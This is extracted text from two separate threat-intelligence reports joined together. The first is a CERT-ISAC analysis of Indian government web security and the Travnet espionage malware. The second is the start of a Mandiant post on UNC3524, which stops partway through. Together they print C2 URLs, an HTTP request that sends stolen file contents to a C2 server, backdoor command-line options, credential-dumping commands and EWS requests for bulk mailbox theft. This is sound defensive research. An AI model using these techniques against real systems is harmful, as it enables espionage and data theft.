Even today, one can find servers running older  vulnerable versions of software, poor server management, web applications deployed on these servers being designed  implemented by programmers who lack awareness of secure coding practices, to name a few.
The private sector though, is much more cautious  alert when it comes to their IT infrastructure compared to the government.
Attack on Indian IT Infrastructure: Zone-H Statistics Lets analyse the state of governments IT infrastructure in the following pages.
While the statistics presented by CERT-In looks alarming by itself, the actual state of domains that end with gov.in, is much worse.
A quick look at the following recent screenshot of www.zone-h.org site provides some shocking insight.
According to the site, the current statistics are as follows: Total Notifications : 1299 Mass defacements : 753 http://www.zone-h.org/ CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com PART TWO: ADVANCED PERSISTENT THREAT CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com PART TWO: ADVANCED PERSISTENT THREAT - ANALYSIS The Travnet Case A recent incident that caught our attention was the Travnet case.
We carried out a preliminary analysis of our own on the subject.
Kaspersky as well as McAfee amongst others, have published detailed analysis of the malware the campaign.
Our focus was to understand the nature of the group behind the attack  its agenda.
It began with Kasperskys revelation of the attack.
We recommend you to go through Kaspersky  McAfees analysis of the malware to know more about the spear phishing campaign  the exploits used.
Our analysis is currently focussed only on the malware samples that are dropped on the target systems, as the exploits used during the spear-phishing campaign are older  already patched by the respective vendors.
To summarize the modus operandi of the attack, targeted phishing mails were sent to individuals, having Office documents as attachments.
These documents exploited previously known vulnerabilities ( CVE-2012-0158 and CVE-2010-3333 ) to drop Travnet malware onto the systems.
Its fascinating to note that the attachments that were sent to Indian targets were carefully selected  some of them were  named as follows: Army Cyber Security Policy 2013.doc Jallianwala bagh massacre a deeply shameful act.doc Report - Asia Defense Spending Boom.doc His Holiness the Dalai Lamas visit to Switzerland day 3.doc BJP wont dump Modi for Nitish NDA headed for split.doc As its evident, the group behind the attack obviously has done extensive research on topics that are current as well as intriguing to the Indian targets.
We managed to acquired 2 variants of the Travnet malware  our analysis of the same is as follows.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Travnet Technical Analysis: Part A File details : Filename  travnet_A.exe MD5       d286c4cdf40e2dae5362eff562bccd3a SHA1      25ac3098261df8aa09449a9a4c445c91321352af SHA256    a75fdd9e52643dc7a1790c79cbfffe9348f80a9b0984eafd90723bf7ca68f4ce Filesize 97792 bytes Filetype PE32 executable (GUI) Intel 80386, for MS Windows A quick analysis by PEiD reveals that the binary is not packed or protected.
It begins by creating a new mutex object, named  INSTALL SERVICES NOW.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Next step is to create a configuration file named config_t.dat in the windows system folder.
It then populates it with the right CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com parameters, after decoding them.
After the configuration file is written, it checks if the malware was previously installed or not, if not, it creates a dynamic-link library in the system32 folder, creates a temporary batch file named as temp.bat which installs the previous DLL as a service on the system.
The name of the DLL that is created, is based upon the values of the data from netsvcs from the following registry key : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost.
During this runtime, it turned out to be 6to4ex.dll but it can change from runtime to runtime.
The malware then deletes the batch file.
Its obvious that this executable basically acts as a dropper.
The contents of the batch file  the configuration file generated are as follows.
Batch file : temp.bat Configuration file : config_t.dat CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Next section focuses on the analysis of the DLL (6to4ex.dll) that was dropped by this executable.
Analysis of 6to4ex.dll File Details Filename  6to4ex.dll MD5       452660884ebe3e88ddabe2b340113c8a SHA1      b80d436afcf2f0493f2317ff1a38c9ba329f24b1 SHA256    ed6ad64dad85fe11f3cc786c8de1f5b239115b94e30420860f02e820ffc53924 Filetype PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Filesize 46592 bytes CC url http://www.newesyahoo.com/traveler1/net/nettraveler.asp A quick analysis by PEiD reveals that the binary is not packed or protected.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Now, as we know already, this DLL was installed as a service by the previous dropper.
Analysis of the ServiceMain function of the DLL throws light on many interesting things.
The first thing it does upon execution is to create a new mutex object named NetTravler Is Running.
Its usually done to avoid running multiple instances of the same malware.
Next, it reads the configuration file.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Additionally, it also creates few interesting files in the system32 folder.
The filenames are quite indicative of what their contents might be.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com enumfs.ini as the name suggests, is a complete list of all files and folders on the computer.
dnlist.ini seems to be noting down the date  time.
system_t.dll on the other hand, contains a broad category of sensitive information about the computer like the Computer Name, Windows version, IP address, list of running processes, network information  so on.
The contents of the files are as follows Filename : system_t.dll Upon proper character encoding  use of googles Translate feature, it turns out to be Chinese.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Filename : enumfs.ini Filename : dnlist.ini Another interesting aspect of Travnet is that it can specifically search for files of the type doc, docx, xls, xlsx, txt, rtf, pdf on the victim machine.
This provides enough hint that this malware was designed to steal confidential information unlike the usual botnet variants that focus primarily on providing remote access to the system or to act as zombies for launching DDOS attacks.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com To summarize, the Travnet malware initially collects system information, a list of files on the victim machine among others, then sends this data to the remote Command  Control (CC) server, by using custom compression  encoding functions.
The malware creates a new file with the naming convention as follows : travlerbackinfo-d-d-d-d-d.dll, where the signed integer values are replaced by the current system date  time, copies the content of system_t.dll into it  then, uploads it to the CC.
It also uploads the list of files found on the victim machine, which was saved in the enumfs.ini file to the remote server, by copying its contents to a new file, named following this format: CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com FileList-02u02u-02u02u02u.ini It doesnt stop at that, it even uploads the victims files onto the remote CC that have the file extensions doc, docx, xls, xlsx, txt, rtf, pdf as well as the files on the victims desktop folder.
Another important aspect of Travnet is the fact that it uses a custom compression  encoding algorithm  on the data collected, before its sent to the remote CC.
A typical file upload communication between the bot  the CC looks like this: CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com An actual HTTP GET request looks like this: http://www.newesyahoo.com/traveler1/net/nettraveler.asp?hostid00CD1A40hostnameComputerNameho stip127.0.0.1filenameFileList-0523- 131103.inifilestart0filetextbegin::RgAxAC2QzebTgdToZTkXQaCicYTaZR72HWSigYTPHjEZDUZTvgBrOEmQ0 nIxm86m46D0YTg::end Here, the data between begin::  ::end is the actual file content, that was compressed  encoded by the bot.
It seems that this older variant of the Travnet malware supported 4 different types of commands from the remote CC and they are as follows: UNINSTALL UPDATE RESET UPLOAD CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com That concludes Part-A of our Travnet analysis.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Travnet Technical Analysis: Part B File details : Filename  travnet_B.exe MD5       9d22897b05261ad66645887b094a43c7 SHA1      dc63b4b9ee2f8486b96ce62be4a31e041d422ef7 SHA256    e547e8a8bc27d65dca92bc861be82e1c94b9c9aca8a2b75381e9b16e4ad89600 Filetype PE32 executable (GUI) Intel 80386, for MS Windows Filesize 102400 bytes CC Url http://www.viprambler.com/newsinfo/uld/nettraveler.asp A quick analysis by PEiD reveals that the binary is not packed or protected.
This executable is apparently an updated variant of Travnet.
The major changes are as follows: Its an executable  not a DLL.
The compression algorithm has been modified.
It tries to install itself on the victim machine to achieve persistence instead of dropping other payloads.
Supports just 2 instructions from the CC instead of 4, like in the previous version.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Apart from these, there isnt much difference.
The following analysis only focuses on what has changed.
It achieves persistence by copying itself to the currently logged-in users temp folder as csmss.exe  placing a shortcut to it, named as seruvice.lnk in the startup folder.
The next step it to create a new mutex object to avoid running multiple instances.
It names the mutex as Assassin.
After this, it generates a unique 8 characters long hostid, based on volume serial number to identify the bot.
This is common to the previous variant too.
Then it checks if the victim machine is connected to the internet or not, by trying to resolve smtp.live.com  if that fails, as a second attempt, smtp..yahoo.com.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com The strings displayed above, are actually in Chinese  turn out to be : You can connect to the network.
Unable to connect to the network.
Unlike the previous variant, this one doesnt seem to collect sensitive information about the victim machine.
It just makes a list of all files  folders on the victim machine  dumps it into a file named as AllIndex.ini.
Next step is to compress the contents of this file, copy the compressed content to a new file named as AllIndex.ini_d  then delete the previously created clear-text file.
The contents of both the files are as follows: Filename : AllIndex.ini CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Filename : AllIndex.ini_d Its pretty obvious that the compression ratio achieved by the custom algorithm is quite high from the following image: Apart from that, this variant also creates a file that lists all the currently running processes on the victim machine, into a text file named Process.dll inside the currently logged-on users temp folder.
This variant also uses a modified naming convention to upload files onto the remote CC.
The only other major difference from the previous variant is the fact that this one only supports 2 commands from the remote CC server, instead of 4 they are as follows: Uninstall Upload CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com The CC server in case of this variant was located at : http://www.viprambler.com/newsinfo/uld/nettraveler.asp Travnet Technical Analysis : Part C Apart from analyzing the malware samples, we also tried to gather as much information about the CC servers as we could.
The fact that even after a lot of research papers being published on the analysis of the Travnet malware, some of the CC servers are still active  functioning, is noteworthy.
We were able to locate a few of them.
The ones that caught our attention are currently hosted on these domains : www.pkspring.net www.viprambler.com http://www.viprambler.com/newsinfo/uld/nettraveler.asp http://www.viprambler.com/ CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Lets start with the analysis of www.viprambler.com.
WHOIS record for the domain currently is as follows: Registrant information for the domain is as follows : http://www.viprambler.com/ CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Our analysis strongly suggests that the group behind Travnet might be from China.
The above record is just one of the findings that supports the claim.
Its interesting to note that the domain was recently registered, is locked expires in 2014.
Another interesting observation is the address of the registrant.
Guangdong province from China seems to pop up everywhere.
Its also noteworthy that the domain is still active  still hosting the Travnet CC.
Weve also observed that the CC now remains active only during specific time of the day.
The time-stamp from the images below, confirms this.
Active response from the CC : CC server refusing connection later on the same day : CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Its obvious that even after the discovery of the malware, the group behind this specific attack is determined to keep it alive.
The Travnet malware as well as its CC infrastructure is constantly evolving.
Lets move onto the next active domain.
The Travnet CC hosted at pkspring.net seems to be fully functional  active all the time.
The response from the server when opened from a browser is as follows: Another interesting finding is the fact that it hosts Travnet CC on 3 different ports on the server.
They are as follows: 80 443 8080 Its evident from the following pictures.
Port 443 CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Port 8080 Moving on, we found out that 21 domains are hosted on the same server at the moment.
And all of them are active CC servers for the Travnet malware.
They also seem to have interesting domain names.
Its an indication of the seriousness of the campaign.
Other domains hosted  owned by the same group on the same server/IP : CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com The image below proves that all of the above domains serve the same Travnet CC on the same 3  ports, each.
After this, we focused our attention on the WHOIS details of these domains.
At the moment, the details of the registrant is kept private  it was recently updated.
Its also interesting to note that the group behind this has ensured that the domain cannot be taken over by someone else.
The following page contains the current WHOIS data for the domain.
Pkspring.net  WHOIS data (Recent) CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Registrant details for the domain : Nothing much to go on there at the moment.
But thanks to older WHOIS records, we found out some interesting facts.
The same domain was earlier registered as follows: CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com It was apparently created on 20-march-2009  its expiration date was set to 20-march-2013.
The registrants information at that time was as follows: The above data seems familiar.
The only difference now being that the domains have be renewed, registration details kept private  the email ID of the registrant has changed from livep92hotmail.com to chenjmsina.com, which belongs to a private Chinese mail service  (http://mail.sina.com.cn/) .
The same thing mailto:livep92hotmail.com mailto:chenjmsina.com http://mail.sina.com.cn/ CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com has happened with other publicly disclosed Travnet CC domains.
We also fetched details of another domain that previously hosted Travnet CC  has been recently renewed, most likely by the same group.
A search for the email livep92hotmail.com led us to the following page : The above listed domains are already known to have hosted the Travnet CC.
We did some research on the current status of one of the domains from the above list, discoverypeace.org.
The current WHOIS data for the domain discoverypeace.org is as follows: mailto:livep92hotmail.com CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com This looks strikingly similar to the current status of the active CC domain pkstring.net.
It was also recently updated.
The older WHOIS entry for the same domain was as follows : CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Conclusion of Travnet Analysis: From our analysis of the Travnet malware so far, its quite evident that many things hint at the origin of this campaign to be from China.
Its also a known fact the Indian government  other important sectors from India were heavily targeted during this campaign.
T The fact that this was a highly targeted attack  focused on stealing confidential documents  sensitive information makes it noteworthy.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com PART THREE: PRIMARY CAUSES CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com PART THREE: PRIMARY CAUSES What are the primary causes of weak Indian Cyber Space?
Use of Outdated Software on Government Websites Another interesting finding is the fact that many of the servers that host gov.in sites are running outdated software versions.
As an example, from the above image, it is evident that the domain karnataka.gov.in is hosted on a server running Windows Server 2003, on 22-June-2013.
To confirm this, we ran an nmap scan  its not surprising to find out that the information is true.
The screenshot of our nmap scan is as follows: While use of outdated software is one of the major concerns, it seems most of the Indian government sites are riddled with vulnerable code too.
Its quite common to locate webshells on these sites.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Webshells on Indian Websites One of the many live webshells we found recently during our analysis is shown in the following image: From the time-stamps on the above image, its evident that this is webshell is still active at the time of this this writing.
An example of a government site thats not properly managed  discloses highly sensitive information is as follows: CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com The above screenshot is just one of the many live examples of poorly managed web servers that do not follow even the most basic web application security guidelines.
Even important government sites, access to which can lead to much deeper intrusion seem to be managed with little care.
The following image is just one of the examples of developing or customizing a CMS  not properly handling access-control.
While defacements are usually carried out by hackers just for fun or fame, in a way its a boon in disguise.
Serious hackers can cause much more damage  remain unnoticed for a very long time by having access to the privileges these hackers abuse to deface the site.
Slowly but steadily, serious APT campaigns are on the rise.
Its very important for the nation to start upgrading its IT infrastructure  keep up with the latest security guidelines practices.
The next part of this research paper focuses on a recent APT campaign against multiple countries including India was targeted.
While each and every technical cause for weak Indian Cyber space is beyond the scope of this document, we also believe that India requires a strong policy driven approach along with inspiring leadership from thought leaders and Government departments in Information security to bring the much needed change.
CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com PART FOUR: RECOMMENDATIONS CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com PART FOUR: RECOMMENDATIONS We recommend the following Policy on Domain Name acquisition, management  maintenance The Domain name acquisition, management and maintenance policy should address the process to protect and manage the crucial online identities of Indian Government Domains.
At present there is no consistent policy to acquire and manage the domains.
The policy should address: 1.
Naming convention to be followed for official Government domains to prevent misuse by domain squatters 2.
A Government body that is responsible to register, administer and manage the domains 3.
Consistent working administrative and management contacts for WHOIS query 4.
Systematic policy to acquire domains and renew them on timely basis 5.
A policy to ensure Domain Authorization keys are managed properly and maintained in proper chain of custody, secured in a bank locker and handled with systematic process Policy on Vendor qualification for secure website development It is crucial to select the right vendors for developing security websites and web applications for all Government projects.
The policy should address: 1.
Qualification parameters for selection of vendor for web site and web application development 2.
Certified Staff by vendor working on Government projects for Information security and secure coding 3.
Quarterly vulnerability assessment and penetration testing of all websites 4.
Security Classification of websites that determine parameters of vendor approval 5.
Comprehensive development and support contract from vendor that covers data security and associated penalties in event of breach Policy on Patch Management While it is possible that such a policy exits with organizations such as NIC, it is important to ensure these are implemented in a timely manner.
The policy on patch management must ensure outdated software must be secured appropriately and updated as per Industry standards.
The policy must address: 1.
Adequate test bed environment for testing new updates for software, patches etc 2.
Comprehensive UAT (User Acceptance Testing) before implementation of critical security patches 3.
Policy to ensure critical security updates are deployed within a specified time from date of release 4.
Backup of data and roll back methodologies in event of patch deployment issues 5.
Monitoring of critical updates and patches and appropriate classification of the same for deployment CERT-ISAC - Indias first independent CERT for mobile  electronic security Powered by Po Anti-virus from www.researchbundle.com Policy, Process and Guidelines on Full disclosures India has a strong community of Information security experts who can support the Indian Government and strengthen overall security of our cyber space.
As the nature of such community is dynamic and rapidly evolving, it is important for the Indian Government to setup a policy and process for responsible full disclosures when Indian citizens report possible vulnerabilities in critical digital assets of India.
These must address: 1.
Process by which any citizen of India can safely submit and report vulnerabilities, full disclosures in Indian websites to an authorized agency without fearing action of IT Act law 2.
Guidelines under which, the security experts from the Indian community can communicate, assist and support law enforcement and responsible agencies in effectively addressing security gaps in Indian Cyber space.
3.
Process to act on security incidents reported by the security community in a timely manner.
4.
Guidelines to industry at large on how to cooperate with security experts who disclose security issues in their organizations 5.
Guidelines to the citizens on being Cyber aware and how to help the Government in securing the economy of the country from malicious hackers Role of National Security Database National Security Database (NSD) is a prestigious empanelment program awarded to credible  trustworthy Information security experts with proven skills to protect the National Critical Infrastructure  economy of the country.
The National Security Database project has been generously endorsed and supported by NTRO and CERT and has been playing an important role in raising the cyber safety awareness across the Nation as well as engaging the community in improving the overall cyber space of India.
We sincerely believe that in coming years, the program will create a strong and credible cyber workforce that can help the Indian Government in both offense and defence of its Cyber Space.
References: http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf http://blogs.mcafee.com/mcafee-labs/travnet-botnet-controls-victims-with-remote-admin-tool https://www.virustotal.com/en/ip-address/182.50.130.68/information/ http://www.threatexpert.com/report.aspx?md50f23c9e6c8ec38f62616d39de5b00ffb http://www.deccanchronicle.com/130608/news-current-affairs/article/india-loses-22gb-data-cyber-attack http://newindianexpress.com/nation/Cyber-defences-are-not-robust-enough/2013/06/16/article1636933.ece http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf http://blogs.mcafee.com/mcafee-labs/travnet-botnet-controls-victims-with-remote-admin-tool https://www.virustotal.com/en/ip-address/182.50.130.68/information/ http://www.threatexpert.com/report.aspx?md50f23c9e6c8ec38f62616d39de5b00ffb http://www.deccanchronicle.com/130608/news-current-affairs/article/india-loses-22gb-data-cyber-attack http://newindianexpress.com/nation/Cyber-defences-are-not-robust-enough/2013/06/16/article1636933.ece
1/9 UNC3524: Eye Spy on Your Email mandiant.com/resources/unc3524-eye-spy-email Since December 2019, Mandiant has observed advanced threat actors increase their investment in tools to facilitate bulk email collection from victim environments, especially as it relates to their support of suspected espionage objectives.
Email messages and their attachments offer a rich source of information about an organization, stored in a centralized location for threat actors to collect.
Most email systems, whether on- premises or in the cloud, offer programmatic methods to search and access email data across an entire organization, such as eDiscovery and the Graph API.
Mandiant has observed threat actors use these same tools to support their own collection requirements and to target the mailboxes of individuals in victim organizations.
In this blog post, we introduce UNC3524, a newly discovered suspected espionage threat actor that, to date, heavily targets the emails of employees that focus on corporate development, mergers and acquisitions, and large corporate transactions.
On the surface, their targeting of individuals involved in corporate transactions suggests a financial motivation however, their ability to remain undetected for an order of magnitude longer than the average dwell time of 21 days in 2021, as reported in M-Trends 2022, suggests an espionage mandate.
Part of the groups success at achieving such a long dwell time can be credited to their choice to install backdoors on appliances within victim environments that do not support security tools, such as anti-virus or endpoint protection.
The high level of operational security, low malware footprint, adept evasive skills, and a large Internet of Things (IoT) device botnet set this group apart and emphasize the advanced in Advanced Persistent Threat.
UNC3524 also takes persistence seriously.
Each time a victim environment removed their access, the group wasted no time re-compromising the environment with a variety of mechanisms, immediately restarting their data theft campaign.
We are sharing the tools, tactics, and procedures used by UNC3524 to help organizations hunt for and protect against their operations.
Attack Lifecycle Initial Compromise and Maintain Presence After gaining initial access by unknown means, UNC3524 deployed a novel backdoor tracked by Mandiant as QUIETEXIT, which is based on the open-source Dropbear SSH client-server software.
For their long-haul remote access, UNC3524 opted to deploy QUIETEXIT on opaque network appliances within the victim environment think backdoors on SAN arrays, load balancers, and wireless access point controllers.
These kinds of devices dont support antivirus or endpoint detection and response tools (EDRs), subsequently leaving the underlying operating systems to vendors to manage.
These appliances are often running older versions of BSD or CentOS and would require considerable planning to compile functional malware for them.
By targeting trusted systems within victim environments that do not support any type of security tooling, UNC3524 was able to remain undetected in victim environments for at least 18 months.
QUIETEXIT works as if the traditional client-server roles in an SSH connection were reversed.
Once the client, running on a compromised system, establishes a TCP connection to a server, it performs the SSH server role.
The QUIETEXIT component running on the threat actors infrastructure initiates the SSH connection and sends a password.
Once the backdoor establishes a connection, the threat actor can use any of the options available to an SSH client, including proxying traffic via SOCKS.
QUIETEXIT has no persistence mechanism however, we have observed UNC3524 install a run command (rc) as well as hijack legitimate application-specific startup scripts to enable the backdoor to execute on system startup.
Figure 1: How QUIETEXIT works with IoT devices https://www.mandiant.com/resources/unc3524-eye-spy-email https://docs.microsoft.com/en-us/microsoft-365/compliance/ediscovery?viewo365-worldwide https://docs.microsoft.com/en-us/graph/overview https://www.mandiant.com/resources/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452 https://www.mandiant.com/resources/m-trends-2022 2/9 On startup, QUIETEXIT attempts to change its name to cron, but the malware author did not implement this correctly, so it fails.
During our incident response investigations, we recovered QUIETEXIT samples that were renamed to blend in with other legitimate files on the file system.
In one case with an infected node of a NAS array, UNC3524 named the binary to blend in with a suite of scripts used to mount various filesystems to the NAS.
When run with command line arguments -X -p port  the malware connects to a hard-coded command and control (C2) address on the specific port.
If this fails, it will attempt to connect to a second hard coded C2 if one is configured.
The user can also specify a hostname or IP address on the command line in the -p argument as well, e.g.
-X -p host:port .The -X command line argument is case sensitive.
If the lower-case x option is used, then the malware will only attempt to connect to the C2 server once.
If the upper-case X option is used, then the malware will sleep for a random number of minutes between a hard-coded time range and fork to reattempt the connection.
It re-attempts the connection regardless of whether a connection has already been established.
In our investigations we observed UNC3524 use C2 domains that intended to blend in with legitimate traffic originating from the infected appliances.
Using the example of an infected load balancer, the C2 domains contained strings that could plausibly relate to the device vendor and branded operating system name.
This level of planning demonstrates that UNC3524 understands incident response processes and tried to make their C2 traffic appear as legitimate to anyone that might scroll through DNS or session logs.
All QUIETEXIT C2 domains that Mandiant observed used Dynamic DNS providers.
Dynamic DNS allows for threat actors to update the DNS records for domains in a near seamless fashion.
When the C2s where inactive, the threat actor had the domains resolve to 127.0.0.1.
However, occasionally the port numbers would change or VPS infrastructure would be used rather than compromised camera botnet.
We suspected that when the threat actor experienced issues accessing a victim, they would troubleshoot using new infrastructure or different ports.
In some cases, the threat actor deployed a secondary backdoor as a means of alternate access into victim environments.
This alternate access was a REGEORG web shell previously placed on a DMZ web server.
REGEORG is a web shell that creates a SOCKS proxy, keeping with UNC3524s preference for tunneling malware.
Once inside the victim environment, the threat actor spent time to identify web servers in the victim environment and ensure they found one that was Internet accessible before copying REGEORG to it.
They also took care to name the file so that it blended in with the application running on the compromised server.
Mandiant also observed instances where UNC3542 used timestomping to alter the Standard Information timestamps of the REGEORG web shell to match other files in the same directory.
UNC3542 only used these web shells when their QUIETEXIT backdoors stopped functioning and only to re-establish QUIETEXIT on another system in the network.
Rather than use the public version of REGEORG published by Sensepost, UNC3542 used a still public but little-known version of the web shell that is heavily obfuscated.
This allowed them to bypass common signature-based detections for REGEORG.
Move Laterally Once UNC3524 established a foothold in the network they demonstrated a very low malware footprint and instead relied on built-in Windows protocols.
During our incident response investigations, we traced most accesses to a victim appliance infected with QUIETEXIT.
QUIETEXIT supports the full functionality of SSH, and our observation is consistent with UNC3524 using it to establish a SOCKS tunnel into the victim environments.
By standing up a SOCKS tunnel, the threat actor effectively plugs in their machine to an ethernet jack within the victims network.
By tunneling over SOCKS, the threat actor can execute tools to steal data from their own computer, leaving no traces of the tooling itself on victim computers.
Figure 2: Tunneling through QUIETEXIT https://advantage.mandiant.com/malware/malware--33065e77-067e-5554-a325-86f0e95968dc 3/9 To perform lateral movement to systems of interest, UNC3524 used a customized version of Impackets WMIEXEC.
WMIEXEC uses Windows Management Instrumentation to establish a semi-interactive shell on a remote host.
The utility provides a semi-interactive shell by writing command outputs to a file on the remote host and then printing the output to the terminal.
The default Impacket version uses a hardcoded file path and filename structure for these output files, providing a detection opportunity.
Mandiant has observed UNC3524 modifying the hardcoded file path (\\127.0.0.1\ADMIN\debug\DEBUG.LOG) to evade basic detections for filenames such as Impackets default double underscore files.
We also observed the threat actor using the built-in reg save  command to save registry hives and extract LSA secrets offline.
Complete Mission Once UNC3524 successfully obtained privileged credentials to the victims mail environment, they began making Exchange Web Services (EWS) API requests to either the on-premises Microsoft Exchange or Microsoft 365 Exchange Online environment.
In each of the UNC3524 victim environments, the threat actor would target a subset of mailboxes, focusing their attention on executive teams and employees that work in corporate development, mergers and acquisitions, or IT security staff.
Its likely that the threat actor was targeting the IT security team as a method to determine if their operation had been detected.
The methods that UNC3524 used to authenticate to the Exchange infrastructure evolved throughout the course of the intrusions this may be a result of them periodically losing access due to the natural changes in corporate infrastructure or simply updating their tactics.
They authenticated to Exchange using the username and password of targeted accounts, using accounts holding ApplicationImpersonation rights, or using Service Principal credentials.
Each of these methods, their detections, and configuration recommendations can be found at Mandiants UNC2452 Microsoft 365 Hardening Guide.
Once authenticated to the exchange infrastructure, UNC3524 made a series of EWS API requests to extract mail items from the target mailbox.
For each mailbox, the threat actor made a series of GetFolder  and FindFolder  requests that returned data describing the mailbox, such as the number of unread messages and sub-folders within the specified folder.
Figure 3: Sample EWS GetFolder request ?
xml version1.0 encodingutf-8?
soap:Envelope xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ xmlns:thttps://schemas.microsoft.com/exchange/services/2006/types soap:Header t:RequestServerVersion VersionExchange2013 / t:ExchangeImpersonation t:ConnectingSID t:PrimarySmtpAddresstargetvictimorg.com/t:PrimarySmtpAddress /t:ConnectingSID /t:ExchangeImpersonation /soap:Header soap:Body GetFolder xmlnshttps://schemas.microsoft.com/exchange/services/2006/messages xmlns:thttps://schemas.microsoft.com/exchange/services/2006/types FolderShape t:BaseShapeDefault/t:BaseShape /FolderShape FolderIds t:DistinguishedFolderId IdRoot/ /FolderIds /GetFolder /soap:Body /soap:Envelope After the enumeration of the mailbox structure, the threat actor issued a FindItem  request with a Query Filter that selected all messages from a specific folder with a DateTimeCreated  greater than a specific date.
The date in the filter corresponded to the last time the threat actor accessed the mailbox.
This meant that the threat actor would acquire all newly created items in the mailbox since the last time they had https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py https://www.mandiant.com/resources/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452 4/9 extracted data.
This follows an approach that Mandiant has previously observed with APT29.
Rather than target a mailbox using specific keywords, the threat actor instead extracted the entire contents over a particular date range.
?
xml version1.0 encodingutf-8?
soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:mhttps://schemas.microsoft.com/exchange/services/2006/messages xmlns:thttps://schemas.microsoft.com/exchange/services/2006/types xmlns:soaphttps://schemas.xmlsoap.org/soap/envelope/ soap:Header t:RequestServerVersion VersionExchange2013 / t:ExchangeImpersonation t:ConnectingSID t:PrimarySmtpAddresstargetvictimorg.com/t:PrimarySmtpAddress /t:ConnectingSID /t:ExchangeImpersonation /soap:Header soap:Body m:FindItem TraversalShallow m:ItemShape t:BaseShapeIdOnly/t:BaseShape t:AdditionalProperties t:FieldURI FieldURIitem:Subject / t:FieldURI FieldURIitem:DateTimeCreated  / /t:AdditionalProperties /m:ItemShape m:IndexedPageItemView MaxEntriesReturned100 Offset0 BasePointBeginning / m:Restriction t:IsGreaterThan t:FieldURI FieldURIitem:DateTimeCreated  / t:FieldURIOrConstant t:Constant Value2022-01-01T00:00:00 / /t:FieldURIOrConstant /t:IsGreaterThan /m:Restriction m:SortOrder t:FieldOrder OrderDescending t:FieldURI FieldURIitem:DateTimeCreated / /t:FieldOrder /m:SortOrder m:ParentFolderIds t:DistinguishedFolderId Idinbox / /m:ParentFolderIds /m:FindItem /soap:Body /soap:Envelope 5/9 Figure 4: Sample EWS FindItem request Finally, the threat actor iterated through each message identifier returned in the FindItem  response and made a GetItem  request.
The threat actor set the IncludeMimeContent  parameter to true for the request, which resulted in Exchange returning the message in MIME format.
This is important because the MIME message includes both the message body and any attachments.
It is worth noting that if the messages were encrypted using PGP, SMIME, Office 365 Message Encryption (OME), or other encryption technology, then the GetItem response will only contain the ciphertext or in the case of OME, a link to authenticate and view the real message.
Figure 5: Sample EWS GetItem request ?
xml version1.0 encodingutf-8?
